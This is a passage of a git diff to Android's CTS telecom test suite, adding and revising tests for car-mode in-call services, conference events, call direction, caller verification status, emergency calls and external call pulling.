+
+ // Verify that we did bind back to the default dialer.
+ try {
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ fail("No call added to InCallService.");
+ }
+ } catch (InterruptedException e) {
+ fail("Interupted!");
+ }
+
+ assertEquals(1, mInCallCallbacks.getService().getCallCount());
+ mInCallCallbacks.getService().disconnectAllCalls();
+ }
+
+
+ /**
+ * Places a call without verifying it is handled by the default dialer InCallService.
+ */
+ private void placeCarModeCall() {
+ Bundle extras = new Bundle();
+ extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+ TestUtils.TEST_PHONE_ACCOUNT_HANDLE);
+
+ Uri number = createTestNumber();
+ mTelecomManager.placeCall(number, extras);
+
+ verifyConnectionForOutgoingCall(number);
+ }
+
+ /**
+ * Verify the car mode ICS has an expected call count.
+ * @param expected
+ */
+ private void assertCarModeCallCount(ICtsCarModeInCallServiceControl control, int expected) {
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return expected;
+ }
+
+ @Override
+ public Object actual() {
+ int callCount = 0;
+ try {
+ callCount = control.getCallCount();
+ } catch (RemoteException re) {
+ fail("Bee-boop; can't control the incall service");
+ }
+ return callCount;
+ }
+ },
+ TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+ "Expected " + expected + " calls."
+ );
+ }
+
+ /**
+ * Verifies that we bound to the car-mode ICS.
+ */
+ private void verifyCarModeBound(ICtsCarModeInCallServiceControl control) {
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return true;
+ }
+
+ @Override
+ public Object actual() {
+ boolean isBound = false;
+ try {
+ isBound = control.isBound();
+ } catch (RemoteException re) {
+ fail("Bee-boop; can't control the incall service");
+ }
+ return isBound;
+ }
+ },
+ TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+ "Expected to be bound"
+ );
+ }
+
+ /**
+ * Verifies that we bound to the car-mode ICS.
+ */
+ private void verifyCarModeUnbound(ICtsCarModeInCallServiceControl control) {
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return true;
+ }
+
+ @Override
+ public Object actual() {
+ boolean isUnbound = false;
+ try {
+ isUnbound = control.isUnbound();
+ } catch (RemoteException re) {
+ fail("Bee-boop; can't control the incall service");
+ }
+ return isUnbound;
+ }
+ },
+ TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+ "Expected to be unbound"
+ );
+ }
+
+ /**
+ * Use the control interface to enable car mode at a specified priority.
+ * @param priority the requested priority.
+ */
+ private void enableAndVerifyCarMode(ICtsCarModeInCallServiceControl control, int priority) {
+ try {
+ control.enableCarMode(priority);
+ } catch (RemoteException re) {
+ fail("Bee-boop; can't control the incall service");
+ }
+ assertUiMode(Configuration.UI_MODE_TYPE_CAR);
+ }
+
+ /**
+ * Uses the control interface to disable car mode.
+ * @param expectedUiMode
+ */
+ private void disableAndVerifyCarMode(ICtsCarModeInCallServiceControl control,
+ int expectedUiMode) {
+ try {
+ control.disableCarMode();
+ } catch (RemoteException re) {
+ fail("Bee-boop; can't control the incall service");
+ }
+ assertUiMode(expectedUiMode);
+ }
+
+ private void disconnectAllCallsAndVerify(ICtsCarModeInCallServiceControl controlBinder) {
+ try {
+ controlBinder.disconnectCalls();
+ } catch (RemoteException re) {
+ fail("Bee-boop; can't control the incall service");
+ }
+ assertCarModeCallCount(controlBinder, 0);
+ }
+
+ /**
+ * Setup a binder which can be used to control the CarModeTestApp.
+ * @throws InterruptedException
+ */
+ private ICtsCarModeInCallServiceControl getControlBinder(String packageName)
+ throws InterruptedException {
+ Intent bindIntent = new Intent(
+ android.telecom.cts.carmodetestapp.CtsCarModeInCallServiceControl
+ .CONTROL_INTERFACE_ACTION);
+ bindIntent.setPackage(packageName);
+ final LinkedBlockingQueue<ICtsCarModeInCallServiceControl> queue =
+ new LinkedBlockingQueue(1);
+ boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+ @Override
+ public void onServiceConnected(ComponentName name, IBinder service) {
+ queue.offer(android.telecom.cts.carmodetestapp
+ .ICtsCarModeInCallServiceControl.Stub.asInterface(service));
+ }
+
+ @Override
+ public void onServiceDisconnected(ComponentName name) {
+ queue.offer(null);
+ }
+ }, Context.BIND_AUTO_CREATE);
+ if (!success) {
+ fail("Failed to get control interface -- bind error");
+ }
+ return queue.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+ }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
index c1de6a0..fc40da9 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
@@ -31,7 +31,6 @@
import android.telecom.StatusHints;
import android.telecom.TelecomManager;
import android.telecom.VideoProfile;
-import android.util.Log;
import java.util.ArrayList;
import java.util.Arrays;
@@ -410,6 +409,21 @@
assertDtmfString((MockConference)mConferenceObject, "1.3.");
}
+ public void testConferenceEvent() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ final Call conf = mInCallService.getLastConferenceCall();
+ assertCallState(conf, Call.STATE_ACTIVE);
+
+ mConferenceObject.sendConferenceEvent("TEST", null);
+ mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ String event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+ Bundle extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+ assertEquals("TEST", event);
+ assertNull(extras);
+ }
+
private void verifyConferenceObject(Conference mConferenceObject, MockConnection connection1,
MockConnection connection2) {
assertNull(mConferenceObject.getCallAudioState());
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
index ba8be5e..e0bb29e 100755
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionServiceTest.java
@@ -238,6 +238,52 @@
return connection;
}
+ public void testCallDirectionIncoming() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ // Need to add a call to ensure ConnectionService is up and bound.
+ placeAndVerifyCall();
+ verifyConnectionForOutgoingCall().setActive();
+
+ final MockConnection connection = new MockConnection();
+ connection.setActive();
+ connection.setCallDirection(Call.Details.DIRECTION_INCOMING);
+ CtsConnectionService.addExistingConnectionToTelecom(TEST_PHONE_ACCOUNT_HANDLE, connection);
+ assertNumCalls(mInCallCallbacks.getService(), 2);
+ mInCallCallbacks.lock.drainPermits();
+ final Call call = mInCallCallbacks.getService().getLastCall();
+ assertCallState(call, Call.STATE_ACTIVE);
+ assertEquals(Call.Details.DIRECTION_INCOMING, call.getDetails().getCallDirection());
+ }
+
+ public void testCallDirectionOutgoing() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ // Ensure CS is up and bound.
+ placeAndVerifyCall();
+ verifyConnectionForOutgoingCall().setActive();
+
+ final MockConnection connection = new MockConnection();
+ connection.setActive();
+ connection.setCallDirection(Call.Details.DIRECTION_OUTGOING);
+ connection.setConnectTimeMillis(1000L);
+ assertEquals(1000L, connection.getConnectTimeMillis());
+ connection.setConnectionStartElapsedRealTime(100L);
+ assertEquals(100L, connection.getConnectElapsedTimeMillis());
+
+ CtsConnectionService.addExistingConnectionToTelecom(TEST_PHONE_ACCOUNT_HANDLE, connection);
+ assertNumCalls(mInCallCallbacks.getService(), 2);
+ mInCallCallbacks.lock.drainPermits();
+ final Call call = mInCallCallbacks.getService().getLastCall();
+ assertCallState(call, Call.STATE_ACTIVE);
+ assertEquals(Call.Details.DIRECTION_OUTGOING, call.getDetails().getCallDirection());
+ assertEquals(1000L, call.getDetails().getConnectTimeMillis());
+ }
+
public void testGetAllConnections() {
if (!mShouldTestTelecom) {
return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
index e04393c..6f8f2f4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConnectionTest.java
@@ -389,6 +389,26 @@
assertEquals(videoProvider, connection.getVideoProvider());
}
+ public void testCallerNumberVerificationStatus() {
+ if (!shouldTestTelecom(getContext())) {
+ return;
+ }
+
+ final Semaphore lock = new Semaphore(0);
+ Connection connection = createConnection(lock);
+ waitForStateChange(lock);
+
+ connection.setCallerNumberVerificationStatus(Connection.VERIFICATION_STATUS_FAILED);
+ assertEquals(Connection.VERIFICATION_STATUS_FAILED,
+ connection.getCallerNumberVerificationStatus());
+ connection.setCallerNumberVerificationStatus(Connection.VERIFICATION_STATUS_NOT_VERIFIED);
+ assertEquals(Connection.VERIFICATION_STATUS_NOT_VERIFIED,
+ connection.getCallerNumberVerificationStatus());
+ connection.setCallerNumberVerificationStatus(Connection.VERIFICATION_STATUS_PASSED);
+ assertEquals(Connection.VERIFICATION_STATUS_PASSED,
+ connection.getCallerNumberVerificationStatus());
+ }
+
public void testStateToString() {
if (!shouldTestTelecom(getContext())) {
return;
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
index c9e0c56..17f759e 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
@@ -109,6 +109,15 @@
}
@Override
+ public void onCreateIncomingConnectionFailed(PhoneAccountHandle connectionManagerPhoneAccount,
+ ConnectionRequest request) {
+ if (sConnectionService != null) {
+ sConnectionService.onCreateIncomingConnectionFailed(connectionManagerPhoneAccount,
+ request);
+ }
+ }
+
+ @Override
public void onConference(Connection connection1, Connection connection2) {
synchronized(sLock) {
if (sConnectionService != null) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
index 459cb67..62975f4 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsRoleManagerAdapter.java
@@ -43,10 +43,8 @@
private static final String TAG = CtsRoleManagerAdapter.class.getSimpleName();
private static final String ROLE_COMPANION_APP = "android.app.role.CALL_COMPANION";
- private static final String ROLE_CAR_MODE_DIALER_APP = "android.app.role.CAR_MODE_DIALER";
private static final String COMMAND_ADD_OR_REMOVE_CALL_COMPANION_APP =
"telecom add-or-remove-call-companion-app";
- private static final String COMMAND_SET_AUTO_MODE_APP = "telecom set-test-auto-mode-app";
private Context mContext;
private RoleManager mRoleManager;
@@ -83,37 +81,6 @@
}
}
- public void addAutomotiveRoleHolder(String packageName)
- throws Exception {
- if (mRoleManager != null) {
- addRoleHolder(ROLE_CAR_MODE_DIALER_APP, packageName);
- } else {
- String command = String.format("%s %s",
- COMMAND_SET_AUTO_MODE_APP, packageName);
- executeShellCommand(mInstrumentation, command);
- addRoleHolderToMap(ROLE_CAR_MODE_DIALER_APP, packageName);
- }
- }
-
- public void removeAutomotiveRoleHolder(String packageName) throws Exception {
- if (mRoleManager != null) {
- removeRoleHolder(ROLE_CAR_MODE_DIALER_APP, packageName);
- } else {
- removeRoleHolderFromMap(ROLE_CAR_MODE_DIALER_APP, packageName);
-
- // Reset the car mode ui to rest of automotive apps assigned. If no other automotive
- // apps are available, set car mode ui back to null.
- if (mRoleHolders.containsKey(ROLE_CAR_MODE_DIALER_APP)) {
- String nextPackage = getRoleHolders(ROLE_CAR_MODE_DIALER_APP).get(0);
- String command = String.format("%s %s",
- COMMAND_SET_AUTO_MODE_APP, nextPackage);
- executeShellCommand(mInstrumentation, command);
- } else {
- executeShellCommand(mInstrumentation, COMMAND_SET_AUTO_MODE_APP);
- }
- }
- }
-
public List<String> getRoleHolders(String role) {
if (mRoleManager != null) {
return getRoleHolder(role);
diff --git a/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java b/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
index b68bd80..797b20c 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DataObjectUnitTests.java
@@ -130,11 +130,14 @@
extras.putString(
TelecomManager.GATEWAY_PROVIDER_PACKAGE,
PACKAGE);
- ConnectionRequest request = new ConnectionRequest(
- accountHandle,
- Uri.parse("tel:555-TEST"),
- extras,
- VideoProfile.STATE_AUDIO_ONLY);
+ String telecomCallId = "TC@103";
+ ConnectionRequest request = new ConnectionRequest.Builder()
+ .setAccountHandle(accountHandle)
+ .setAddress(Uri.parse("tel:555-TEST"))
+ .setExtras(extras)
+ .setVideoState(VideoProfile.STATE_AUDIO_ONLY)
+ .setTelecomCallId(telecomCallId)
+ .build();
assertEquals(accountHandle, request.getAccountHandle());
assertEquals(Uri.parse("tel:555-TEST"), request.getAddress());
assertEquals(extras.getString(
@@ -142,6 +145,7 @@
request.getExtras().getString(TelecomManager.GATEWAY_PROVIDER_PACKAGE));
assertEquals(VideoProfile.STATE_AUDIO_ONLY, request.getVideoState());
assertEquals(0, request.describeContents());
+ assertEquals(telecomCallId, request.getTelecomCallId());
// Create a parcel of the object and recreate the object back
// from the parcel.
@@ -155,6 +159,7 @@
extras.getString(TelecomManager.GATEWAY_PROVIDER_PACKAGE),
parcelRequest.getExtras().getString(TelecomManager.GATEWAY_PROVIDER_PACKAGE));
assertEquals(VideoProfile.STATE_AUDIO_ONLY, parcelRequest.getVideoState());
+ assertEquals(telecomCallId, request.getTelecomCallId());
assertEquals(0, parcelRequest.describeContents());
p.recycle();
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
index cc64987..ec0a280 100644
--- a/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/DefaultDialerOperationsTest.java
@@ -19,12 +19,22 @@
import android.content.ComponentName;
import android.content.ContentValues;
import android.content.Context;
+import android.content.Intent;
import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
import android.provider.VoicemailContract.Voicemails;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
+import android.os.Process;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+import androidx.test.InstrumentationRegistry;
import java.util.List;
@@ -33,8 +43,13 @@
* Verifies that certain privileged operations can only be performed by the default dialer.
*/
public class DefaultDialerOperationsTest extends InstrumentationTestCase {
+ private static final int ACTIVITY_LAUNCHING_TIMEOUT_MILLIS = 20000; // 20 seconds
+ private static final String ACTION_EMERGENCY_DIAL = "com.android.phone.EmergencyDialer.DIAL";
+
private Context mContext;
+ private UiDevice mUiDevice;
private TelecomManager mTelecomManager;
+ private PackageManager mPackageManager;
private PhoneAccountHandle mPhoneAccountHandle;
private String mPreviousDefaultDialer = null;
private String mSystemDialer = null;
@@ -43,6 +58,7 @@
protected void setUp() throws Exception {
super.setUp();
mContext = getInstrumentation().getContext();
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
if (!TestUtils.shouldTestTelecom(mContext)) {
return;
@@ -55,6 +71,7 @@
TestUtils.setDefaultDialer(getInstrumentation(), mSystemDialer);
}
mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+ mPackageManager = mContext.getPackageManager();
final List<PhoneAccountHandle> accounts = mTelecomManager.getCallCapablePhoneAccounts();
if (accounts != null && !accounts.isEmpty()) {
mPhoneAccountHandle = accounts.get(0);
@@ -78,6 +95,51 @@
assertEquals(mSystemDialer, mTelecomManager.getDefaultDialerPackage());
TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
assertEquals(TestUtils.PACKAGE, mTelecomManager.getDefaultDialerPackage());
+ assertEquals(mTelecomManager.getDefaultDialerPackage(),
+ ShellIdentityUtils.invokeMethodWithShellPermissions(mTelecomManager,
+ tm -> tm.getDefaultDialerPackage(Process.myUserHandle().getIdentifier())));
+ }
+
+ /** Default dialer should be the default package handling ACTION_DIAL. */
+ public void testActionDialHandling() throws Exception {
+ if (!TestUtils.shouldTestTelecom(mContext)) {
+ return;
+ }
+ Intent intent = new Intent(Intent.ACTION_DIAL);
+ ResolveInfo info =
+ mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assertEquals(info.activityInfo.packageName, mTelecomManager.getDefaultDialerPackage());
+ }
+
+ /** The package handling Intent ACTION_DIAL should be the same package showing the UI. */
+ public void testDialerUI() throws Exception {
+ if (!TestUtils.shouldTestTelecom(mContext)) {
+ return;
+ }
+ // Find which package handling the intent
+ Intent intent = new Intent(Intent.ACTION_DIAL);
+ ResolveInfo info =
+ mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assertTrue(info != null); // Default dialer should always handle it
+
+ verifySamePackageForIntentHandlingAndUI(intent, info);
+ }
+
+ /** The package handling Intent emergency dail should be the same package showing the UI. */
+ public void testEmergencyDialerUI() throws Exception {
+ if (!TestUtils.shouldTestTelecom(mContext)) {
+ return;
+ }
+ // Find which package handling the intent
+ Intent intent = new Intent(ACTION_EMERGENCY_DIAL);
+ ResolveInfo info =
+ mPackageManager.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ if (info == null) {
+ // Skip the test if no package handles ACTION_EMERGENCY_DIAL
+ return;
+ }
+
+ verifySamePackageForIntentHandlingAndUI(intent, info);
}
public void testVoicemailReadWritePermissions() throws Exception {
@@ -194,11 +256,12 @@
if (!TestUtils.shouldTestTelecom(mContext)) {
return;
}
- final PackageManager pm = mContext.getPackageManager();
final ComponentName name = new ComponentName(mContext,
"android.telecom.cts.MockDialerActivity");
try {
- pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+ mPackageManager.setComponentEnabledSetting(
+ name,
+ PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
PackageManager.DONT_KILL_APP);
TestUtils.setDefaultDialer(getInstrumentation(), TestUtils.PACKAGE);
final String result = TestUtils.getDefaultDialer(getInstrumentation());
@@ -206,7 +269,9 @@
assertTrue("Expected failure indicating that this was not an installed dialer app",
result.contains("is not an installed Dialer app"));
} finally {
- pm.setComponentEnabledSetting(name, PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+ mPackageManager.setComponentEnabledSetting(
+ name,
+ PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
PackageManager.DONT_KILL_APP);
}
@@ -229,4 +294,24 @@
String reportedDialer = mTelecomManager.getSystemDialerPackage();
assertEquals(mSystemDialer, reportedDialer);
}
+
+ private void verifySamePackageForIntentHandlingAndUI(Intent intent, ResolveInfo info) {
+ String packageName = info.activityInfo.packageName;
+ assertTrue(!TextUtils.isEmpty(packageName));
+
+ mUiDevice.pressHome();
+ mUiDevice.waitForIdle();
+ try {
+ mContext.startActivity(intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+
+ // The package handles the intent should be foreground
+ mUiDevice.wait(
+ Until.hasObject(By.pkg(packageName).depth(0)),
+ ACTIVITY_LAUNCHING_TIMEOUT_MILLIS);
+ mUiDevice.waitForIdle();
+ } finally {
+ mUiDevice.pressHome();
+ mUiDevice.waitForIdle();
+ }
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
index 5ce6a7f..465782a 100644
--- a/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
+++ b/tests/tests/telecom/src/android/telecom/cts/EmergencyCallTests.java
@@ -17,22 +17,21 @@
package android.telecom.cts;
import android.net.Uri;
-import android.os.Bundle;
+import android.provider.CallLog;
+import android.telecom.Call;
import android.telecom.Connection;
-import android.telecom.DisconnectCause;
+
+import java.util.concurrent.CountDownLatch;
public class EmergencyCallTests extends BaseTelecomTestWithMockServices {
- private static final String TEST_EMERGENCY_NUMBER = "5553637";
- private static final Uri TEST_EMERGENCY_URI = Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null);
-
@Override
public void setUp() throws Exception {
// Sets up this package as default dialer in super.
super.setUp();
NewOutgoingCallBroadcastReceiver.reset();
if (!mShouldTestTelecom) return;
- setupConnectionService(null, 0);
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
}
@@ -41,18 +40,66 @@
*/
public void testStartEmergencyCall() throws Exception {
if (!mShouldTestTelecom) return;
- Bundle extras = new Bundle();
- extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, TEST_EMERGENCY_URI);
- placeAndVerifyCall(extras);
- Connection connection = verifyConnectionForOutgoingCall();
+ placeAndVerifyEmergencyCall(true /*supportsHold*/);
+ Call eCall = getInCallService().getLastCall();
+ assertCallState(eCall, Call.STATE_DIALING);
+
assertIsInCall(true);
assertIsInManagedCall(true);
- try {
- TestUtils.waitOnAllHandlers(getInstrumentation());
- } catch (Exception e) {
- fail("Failed to wait on handlers " + e);
- }
- connection.setDisconnected(new DisconnectCause(DisconnectCause.LOCAL));
- connection.destroy();
+ }
+
+ /**
+ * Place an outgoing emergency call and ensure any incoming call is rejected automatically and
+ * logged in call log as a new missed call.
+ *
+ * Note: PSAPs have requirements that active emergency calls can not be put on hold, so if for
+ * some reason an incoming emergency callback happens while on another emergency call, that call
+ * will automatically be rejected as well.
+ */
+ public void testOngoingEmergencyCallAndReceiveIncomingCall() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ Connection eConnection = placeAndVerifyEmergencyCall(true /*supportsHold*/);
+ assertIsInCall(true);
+ assertIsInManagedCall(true);
+ Call eCall = getInCallService().getLastCall();
+ assertCallState(eCall, Call.STATE_DIALING);
+ eConnection.setActive();
+ assertCallState(eCall, Call.STATE_ACTIVE);
+
+ Uri normalCallNumber = createRandomTestNumber();
+ addAndVerifyNewFailedIncomingCall(normalCallNumber, null);
+ assertCallState(eCall, Call.STATE_ACTIVE);
+
+ // Notify as missed instead of rejected, since the user did not explicitly reject.
+ verifyCallLogging(normalCallNumber, CallLog.Calls.MISSED_TYPE);
+ }
+
+ /**
+ * Receive an incoming ringing call and place an emergency call. The ringing call should be
+ * rejected and logged as a new missed call.
+ */
+ public void testIncomingRingingCallAndPlaceEmergencyCall() throws Exception {
+ if (!mShouldTestTelecom) return;
+
+ Uri normalCallNumber = createRandomTestNumber();
+ addAndVerifyNewIncomingCall(normalCallNumber, null);
+ Connection incomingConnection = verifyConnectionForIncomingCall();
+ Call incomingCall = getInCallService().getLastCall();
+ assertCallState(incomingCall, Call.STATE_RINGING);
+
+ // Do not support holding incoming call for emergency call.
+ Connection eConnection = placeAndVerifyEmergencyCall(false /*supportsHold*/);
+ Call eCall = getInCallService().getLastCall();
+ assertCallState(eCall, Call.STATE_DIALING);
+
+ assertConnectionState(incomingConnection, Connection.STATE_DISCONNECTED);
+ assertCallState(incomingCall, Call.STATE_DISCONNECTED);
+
+ eConnection.setActive();
+ assertCallState(eCall, Call.STATE_ACTIVE);
+
+ // Notify as missed instead of rejected, since the user did not explicitly reject.
+ verifyCallLogging(normalCallNumber, CallLog.Calls.MISSED_TYPE);
}
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index e7dddd2..10cd943 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -400,7 +400,11 @@
}
private Uri blockNumber(Uri phoneNumberUri) {
- return insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
+ Uri number = insertBlockedNumber(mContext, phoneNumberUri.getSchemeSpecificPart());
+ if (number == null) {
+ fail("Failed to insert into blocked number provider");
+ }
+ return number;
}
private int unblockNumber(Uri uri) {
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java b/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
index f63248f..e9863cf 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExternalCallTest.java
@@ -16,10 +16,11 @@
package android.telecom.cts;
+import android.net.Uri;
+import android.os.Bundle;
import android.telecom.Call;
import android.telecom.Connection;
import android.telecom.ConnectionRequest;
-import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
@@ -34,43 +35,34 @@
public static final int CONNECTION_PROPERTIES = Connection.PROPERTY_IS_EXTERNAL_CALL;
public static final int CONNECTION_CAPABILITIES = Connection.CAPABILITY_CAN_PULL_CALL;
- private Call mCall;
- private MockConnection mConnection;
- private MockInCallService mInCallService;
+ private MockConnection mExternalConnection;
@Override
protected void setUp() throws Exception {
super.setUp();
- if (mShouldTestTelecom) {
- PhoneAccount account = setupConnectionService(
- new MockConnectionService() {
- @Override
- public Connection onCreateOutgoingConnection(
- PhoneAccountHandle connectionManagerPhoneAccount,
- ConnectionRequest request) {
- Connection connection = super.onCreateOutgoingConnection(
- connectionManagerPhoneAccount,
- request);
- mConnection = (MockConnection) connection;
+ if (!mShouldTestTelecom) return;
+ setupConnectionService(
+ new MockConnectionService() {
+ @Override
+ public Connection onCreateOutgoingConnection(
+ PhoneAccountHandle connectionManagerPhoneAccount,
+ ConnectionRequest request) {
+ Connection connection = super.onCreateOutgoingConnection(
+ connectionManagerPhoneAccount,
+ request);
+ if (!request.getAddress().equals(TEST_EMERGENCY_URI)) {
+ // Only get a reference to the non-emergency connection in relation to
+ // pulling.
+ mExternalConnection = (MockConnection) connection;
// Modify the connection object created with local values.
connection.setConnectionCapabilities(CONNECTION_CAPABILITIES);
connection.setConnectionProperties(CONNECTION_PROPERTIES);
-
- lock.release();
- return connection;
}
- }, FLAG_REGISTER | FLAG_ENABLE);
- placeAndVerifyCall();
- verifyConnectionForOutgoingCall();
-
- mInCallService = mInCallCallbacks.getService();
- mCall = mInCallService.getLastCall();
-
- assertCallState(mCall, Call.STATE_DIALING);
- assertCallProperties(mCall, Call.Details.PROPERTY_IS_EXTERNAL_CALL);
- assertCallCapabilities(mCall, Call.Details.CAPABILITY_CAN_PULL_CALL);
- }
+ lock.release();
+ return connection;
+ }
+ }, FLAG_REGISTER | FLAG_ENABLE);
}
/**
@@ -81,26 +73,77 @@
if (!mShouldTestTelecom) {
return;
}
+ Call call = placeExternalCall();
- final TestUtils.InvokeCounter counter = mConnection.getInvokeCounter(
+ final TestUtils.InvokeCounter counter = mExternalConnection.getInvokeCounter(
MockConnection.ON_PULL_EXTERNAL_CALL);
- mCall.pullExternalCall();
+ call.pullExternalCall();
counter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
}
- public void testNonPullableExternalCall() {
+ /**
+ * Tests that a request to pull an external call via {@link Call#pullExternalCall()} is
+ * not completed when {@link Call.Details#CAPABILITY_CAN_PULL_CALL} is not on the call.
+ */
+ public void testNonPullableExternalCall() throws Exception {
if (!mShouldTestTelecom) {
return;
}
+ Call call = placeExternalCall();
// Remove the pullable attribute of the connection.
- mConnection.setConnectionCapabilities(0);
- assertCallCapabilities(mCall, 0);
+ mExternalConnection.setConnectionCapabilities(0);
+ assertCallCapabilities(call, 0);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
- final TestUtils.InvokeCounter counter = mConnection.getInvokeCounter(
+ final TestUtils.InvokeCounter counter = mExternalConnection.getInvokeCounter(
MockConnection.ON_PULL_EXTERNAL_CALL);
// Try to pull -- we expect Telecom to absorb the request since the call is not pullable.
- mCall.pullExternalCall();
- counter.waitForCount(0, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ call.pullExternalCall();
+ counter.waitForCount(5000L/*mS*/);
+ assertEquals(0, counter.getInvokeCount());
+ }
+
+
+ /**
+ * Tests that when a user tries to pull an external call while we are in an ongoing emergency
+ * call, the request is not completed.
+ */
+ public void testTryToPullCallWhileInEmergencyCall() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ setupForEmergencyCalling(TEST_EMERGENCY_NUMBER);
+ Call call = placeExternalCall();
+
+ placeAndVerifyEmergencyCall(true /*supportsHold*/);
+ Call eCall = getInCallService().getLastCall();
+ assertCallState(eCall, Call.STATE_DIALING);
+ assertIsInCall(true);
+ assertIsInManagedCall(true);
+ TestUtils.waitOnAllHandlers(getInstrumentation());
+
+ final TestUtils.InvokeCounter counter = mExternalConnection.getInvokeCounter(
+ MockConnection.ON_PULL_EXTERNAL_CALL);
+ // Try to pull -- we expect Telecom to absorb the request since we are on an emergency
+ // call.
+ call.pullExternalCall();
+ counter.waitForCount(5000L /*mS*/);
+ assertEquals(0, counter.getInvokeCount());
+ }
+
+ private Call placeExternalCall() {
+ Uri testNumber = createRandomTestNumber();
+ Bundle extras = new Bundle();
+ extras.putParcelable(TestUtils.EXTRA_PHONE_NUMBER, testNumber);
+ placeAndVerifyCall(extras);
+ verifyConnectionForOutgoingCall(testNumber);
+
